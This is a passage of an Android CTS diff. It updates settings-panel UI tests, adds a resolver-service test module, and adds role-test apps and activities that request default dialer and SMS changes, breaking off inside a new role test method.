-        assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -219,16 +192,16 @@
         // Launch panel
         launchInternetPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
 
         // Assert that we're still in Settings, on a different page.
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-        UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
         assertThat(titleView).isNull();
     }
 
@@ -237,16 +210,16 @@
         // Launch panel
         launchVolumePanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
 
         // Assert that we're still in Settings, on a different page.
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-        UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
         assertThat(titleView).isNull();
     }
 
@@ -255,16 +228,16 @@
         // Launch panel
         launchNfcPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
 
         // Assert that we're still in Settings, on a different page.
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-        UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
         assertThat(titleView).isNull();
     }
 
@@ -273,16 +246,16 @@
         // Launch panel
         launchWifiPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the see more button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_SEE_MORE)).click();
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_SEE_MORE)).click();
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
 
         // Assert that we're still in Settings, on a different page.
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-        UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
         assertThat(titleView).isNull();
     }
 
@@ -295,6 +268,7 @@
     }
 
     private void launchNfcPanel() {
+        assumeTrue("device does not support NFC", RequiredServiceRule.hasService("nfc"));
         launchPanel(Settings.Panel.ACTION_NFC);
     }
 
@@ -313,6 +287,6 @@
         mContext.startActivity(intent);
 
         // Wait for the app to appear
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+        mDevice.wait(Until.hasObject(By.pkg(mSettingsPackage).depth(0)), TIMEOUT);
     }
 }
diff --git a/tests/tests/resolverservice/Android.bp b/tests/tests/resolverservice/Android.bp
new file mode 100644
index 0000000..36bac13
--- /dev/null
+++ b/tests/tests/resolverservice/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsResolverServiceTestCases",
+    sdk_version: "system_current",
+
+    srcs: [
+        "src/**/*.java"
+    ],
+
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "truth-prebuilt"
+    ],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ]
+}
diff --git a/tests/tests/resolverservice/AndroidManifest.xml b/tests/tests/resolverservice/AndroidManifest.xml
new file mode 100644
index 0000000..d52f3db
--- /dev/null
+++ b/tests/tests/resolverservice/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.service.resolver.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.service.resolver.cts"
+        android:label="CTS tests of android.service.resolver">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/resolverservice/AndroidTest.xml b/tests/tests/resolverservice/AndroidTest.xml
new file mode 100644
index 0000000..ee0cc8c
--- /dev/null
+++ b/tests/tests/resolverservice/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS resolver service test cases">
+
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsResolverServiceTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.service.resolver.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+</configuration>
diff --git a/tests/tests/resolverservice/OWNERS b/tests/tests/resolverservice/OWNERS
new file mode 100644
index 0000000..4b9c5eb
--- /dev/null
+++ b/tests/tests/resolverservice/OWNERS
@@ -0,0 +1,4 @@
+ # Bug component: 24950
+kanlig@google.com
+patb@google.com
+chiuwinson@google.com
\ No newline at end of file
diff --git a/tests/tests/resolverservice/src/android/service/resolver/cts/ResolverTargetTest.java b/tests/tests/resolverservice/src/android/service/resolver/cts/ResolverTargetTest.java
new file mode 100644
index 0000000..015f877
--- /dev/null
+++ b/tests/tests/resolverservice/src/android/service/resolver/cts/ResolverTargetTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.service.resolver.cts;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.Assert.assertThat;
+
+import android.os.Parcel;
+import android.service.resolver.ResolverTarget;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link ResolverTarget}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ResolverTargetTest {
+
+    @Test
+    public void sanityCheckDataConsistency() throws Exception {
+        ResolverTarget target = new ResolverTarget();
+
+        target.setChooserScore(1.0f);
+        assertThat(target.getChooserScore(), is(1.0f));
+
+        target.setLaunchScore(0.5f);
+        assertThat(target.getLaunchScore(), is(0.5f));
+
+        target.setRecencyScore(0.3f);
+        assertThat(target.getRecencyScore(), is(0.3f));
+
+        target.setSelectProbability(0.2f);
+        assertThat(target.getSelectProbability(), is(0.2f));
+
+        target.setTimeSpentScore(0.1f);
+        assertThat(target.getTimeSpentScore(), is(0.1f));
+    }
+
+    @Test
+    public void sanityCheckParcelability() throws Exception {
+        ResolverTarget target = new ResolverTarget();
+
+        target.setChooserScore(1.0f);
+        target.setLaunchScore(0.5f);
+        target.setRecencyScore(0.3f);
+        target.setSelectProbability(0.2f);
+        target.setTimeSpentScore(0.1f);
+
+        Parcel parcel = Parcel.obtain();
+        target.writeToParcel(parcel, 0 /*flags*/);
+        parcel.setDataPosition(0);
+        ResolverTarget fromParcel = ResolverTarget.CREATOR.createFromParcel(parcel);
+
+        assertThat(fromParcel.getChooserScore(), is(1.0f));
+        assertThat(fromParcel.getLaunchScore(), is(0.5f));
+        assertThat(fromParcel.getRecencyScore(), is(0.3f));
+        assertThat(fromParcel.getSelectProbability(), is(0.2f));
+        assertThat(fromParcel.getTimeSpentScore(), is(0.1f));
+    }
+}
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index ac8d967..0bbd87e 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -17,7 +17,7 @@
     sdk_version: "test_current",
 
     srcs: [
-        "src/**/*.java"
+        "src/**/*.java",
     ],
 
     static_libs: [
@@ -31,5 +31,6 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
index e309746..cf4b1d3 100644
--- a/tests/tests/role/AndroidTest.xml
+++ b/tests/tests/role/AndroidTest.xml
@@ -35,6 +35,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsRoleTestApp.apk->/data/local/tmp/cts/role/CtsRoleTestApp.apk" />
+        <option name="push" value="CtsRoleTestApp28.apk->/data/local/tmp/cts/role/CtsRoleTestApp28.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/role/CtsRoleTestApp/Android.bp b/tests/tests/role/CtsRoleTestApp/Android.bp
index 74c1b76..d909abf 100644
--- a/tests/tests/role/CtsRoleTestApp/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
index 4ae5d5a..f1829f6 100644
--- a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -30,6 +30,14 @@
             android:name=".IsRoleHeldActivity"
             android:exported="true" />
 
+        <activity
+            android:name=".ChangeDefaultDialerActivity"
+            android:exported="true" />
+
+        <activity
+            android:name=".ChangeDefaultSmsActivity"
+            android:exported="true" />
+
         <!-- Dialer -->
         <activity android:name=".DialerDialActivity">
             <intent-filter>
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java
new file mode 100644
index 0000000..89cafa0
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default dialer app.
+ */
+public class ChangeDefaultDialerActivity extends Activity {
+
+    private static final int REQUEST_CODE_CHANGE_DEFAULT_DIALER = 1;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState == null) {
+            String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+            Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER)
+                    .putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+            startActivityForResult(intent, REQUEST_CODE_CHANGE_DEFAULT_DIALER);
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE_CHANGE_DEFAULT_DIALER) {
+            setResult(resultCode, data);
+            finish();
+        } else {
+            super.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+}
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java
new file mode 100644
index 0000000..00559bf
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Telephony;
+
+/**
+ * An activity that tries to change the default SMS app.
+ */
+public class ChangeDefaultSmsActivity extends Activity {
+
+    private static final int REQUEST_CODE_CHANGE_DEFAULT_SMS = 1;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState == null) {
+            String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+            Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT)
+                    .putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, packageName);
+            startActivityForResult(intent, REQUEST_CODE_CHANGE_DEFAULT_SMS);
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE_CHANGE_DEFAULT_SMS) {
+            setResult(resultCode, data);
+            finish();
+        } else {
+            super.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+}
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
deleted file mode 100644
index 353ec45..0000000
--- a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.role.cts.app;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-/**
- * An empty activity that finishes immediately.
- */
-public class EmptyActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        finish();
-    }
-}
diff --git a/tests/tests/role/CtsRoleTestApp28/Android.bp b/tests/tests/role/CtsRoleTestApp28/Android.bp
new file mode 100644
index 0000000..4cc12c8
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsRoleTestApp28",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.java"
+    ],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "mts",
+    ]
+}
diff --git a/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
new file mode 100644
index 0000000..8fd7012
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.role.cts.app28">
+
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+
+    <application
+        android:label="CtsRoleTestApp28">
+
+        <activity
+            android:name=".ChangeDefaultDialerActivity"
+            android:exported="true" />
+
+        <activity
+            android:name=".ChangeDefaultSmsActivity"
+            android:exported="true" />
+
+        <!-- Dialer -->
+        <activity android:name=".DialerDialActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="tel" />
+            </intent-filter>
+        </activity>
+
+        <!-- Sms -->
+        <activity android:name=".SmsSendToActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.SENDTO" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="smsto" />
+            </intent-filter>
+        </activity>
+        <service
+            android:name=".SmsRespondViaMessageService"
+            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
+            <intent-filter>
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="smsto" />
+            </intent-filter>
+        </service>
+        <receiver
+            android:name=".SmsDelieverReceiver"
+            android:permission="android.permission.BROADCAST_SMS">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+            </intent-filter>
+        </receiver>
+        <receiver
+            android:name=".SmsWapPushDelieverReceiver"
+            android:permission="android.permission.BROADCAST_WAP_PUSH">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
+                <data android:mimeType="application/vnd.wap.mms-message" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java
new file mode 100644
index 0000000..5d1c47c
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+*
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app28;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default dialer app.
+ */
+public class ChangeDefaultDialerActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState == null) {
+            String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+            Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER)
+                    .putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+            startActivity(intent);
+        }
+    }
+}
diff --git a/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java
new file mode 100644
index 0000000..37819bb
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app28;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Telephony;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default SMS app.
+ */
+public class ChangeDefaultSmsActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState == null) {
+            String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+            Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT)
+                    .putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, packageName);
+            startActivity(intent);
+        }
+    }
+}
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 736e501..0da6988 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -35,10 +35,12 @@
 import android.content.pm.PermissionInfo;
 import android.os.Process;
 import android.os.UserHandle;
+import android.provider.Telephony;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
+import android.telecom.TelecomManager;
 import android.util.Log;
 import android.util.Pair;
 
@@ -50,6 +52,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.TestUtils;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
 import org.junit.After;
@@ -91,6 +94,18 @@
             + ".extra.IS_ROLE_HELD";
     private static final String APP_REQUEST_ROLE_ACTIVITY_NAME = APP_PACKAGE_NAME
             + ".RequestRoleActivity";
+    private static final String APP_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME = APP_PACKAGE_NAME
+            + ".ChangeDefaultDialerActivity";
+    private static final String APP_CHANGE_DEFAULT_SMS_ACTIVITY_NAME = APP_PACKAGE_NAME
+            + ".ChangeDefaultSmsActivity";
+
+    private static final String APP_28_APK_PATH = "/data/local/tmp/cts/role/CtsRoleTestApp28.apk";
+    private static final String APP_28_PACKAGE_NAME = "android.app.role.cts.app28";
+    private static final String APP_28_LABEL = "CtsRoleTestApp28";
+    private static final String APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME = APP_28_PACKAGE_NAME
+            + ".ChangeDefaultDialerActivity";
+    private static final String APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME = APP_28_PACKAGE_NAME
+            + ".ChangeDefaultSmsActivity";
 
     private static final String PERMISSION_MANAGE_ROLES_FROM_CONTROLLER =
             "com.android.permissioncontroller.permission.MANAGE_ROLES_FROM_CONTROLLER";
@@ -107,7 +122,6 @@
             new ActivityTestRule<>(WaitForResultActivity.class);
 
     private String mRoleHolder;
-    private int mCurrentUserId;
 
     @Before
     public void saveRoleHolder() throws Exception {
@@ -133,13 +147,14 @@
 
     @Before
     public void installApp() throws Exception {
-        mCurrentUserId = Process.myUserHandle().getIdentifier();
         installPackage(APP_APK_PATH);
+        installPackage(APP_28_APK_PATH);
     }
 
     @After
     public void uninstallApp() throws Exception {
         uninstallPackage(APP_PACKAGE_NAME);
+        uninstallPackage(APP_28_PACKAGE_NAME);
     }
 
     @Before
@@ -354,15 +369,83 @@
     }
 
     private void clearPackageData(@NonNull String packageName) {
-        runShellCommand("pm clear --user " + mCurrentUserId + " " + packageName);
+        runShellCommand("pm clear --user " + Process.myUserHandle().getIdentifier() + " "
+                + packageName);
     }
 
     private void installPackage(@NonNull String apkPath) {
-        runShellCommand("pm install -r --user " + mCurrentUserId + " " + apkPath);
+        runShellCommand("pm install -r --user " + Process.myUserHandle().getIdentifier() + " "
+                + apkPath);
     }
 
     private void uninstallPackage(@NonNull String packageName) {
-        runShellCommand("pm uninstall --user " + mCurrentUserId + " " + packageName);
+        runShellCommand("pm uninstall --user " + Process.myUserHandle().getIdentifier() + " "
+                + packageName);
+    }
+
+    @Test
+    public void targetCurrentSdkAndChangeDefaultDialerThenIsCanceled() throws Exception {
+        WaitForResultActivity activity = mActivityRule.getActivity();
+        activity.startActivityToWaitForResult(new Intent()
+                .setComponent(new ComponentName(APP_PACKAGE_NAME,
+                        APP_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
